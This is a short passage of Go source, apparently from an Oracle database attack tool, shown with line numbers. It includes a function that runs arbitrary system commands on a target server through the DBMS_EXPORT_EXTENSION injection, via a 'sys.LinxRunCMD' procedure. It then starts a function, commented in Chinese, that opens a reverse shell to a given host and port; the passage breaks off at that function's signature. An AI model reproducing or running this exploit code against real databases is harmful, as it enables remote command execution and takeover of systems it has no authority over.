(cmd string, conn *sql.DB)
| 63 | } |
| 64 | |
| 65 | func OracleExportExtensionCMD(cmd string, conn *sql.DB) { |
| 66 | Info("执行系统命令") |
| 67 | OracleExportExtension(conn) |
| 68 | resultSet, err := OracleCMD(fmt.Sprintf("select sys.LinxRunCMD('/bin/bash -c /usr/bin/%s') from dual", cmd), conn) |
| 69 | for _, m := range resultSet { |
| 70 | for _, value := range m { |
| 71 | fmt.Println(fmt.Sprintf("%s", value)) |
| 72 | } |
| 73 | } |
| 74 | if err != nil { |
| 75 | Err(err) |
| 76 | } |
| 77 | } |
| 78 | |
| 79 | // 利用DBMS_EXPORT_EXTENSION注入漏洞反弹shell |
| 80 | func OracleExportExtensionReverse(conn *sql.DB, Lhost string, Lport string) { |
no test coverage detected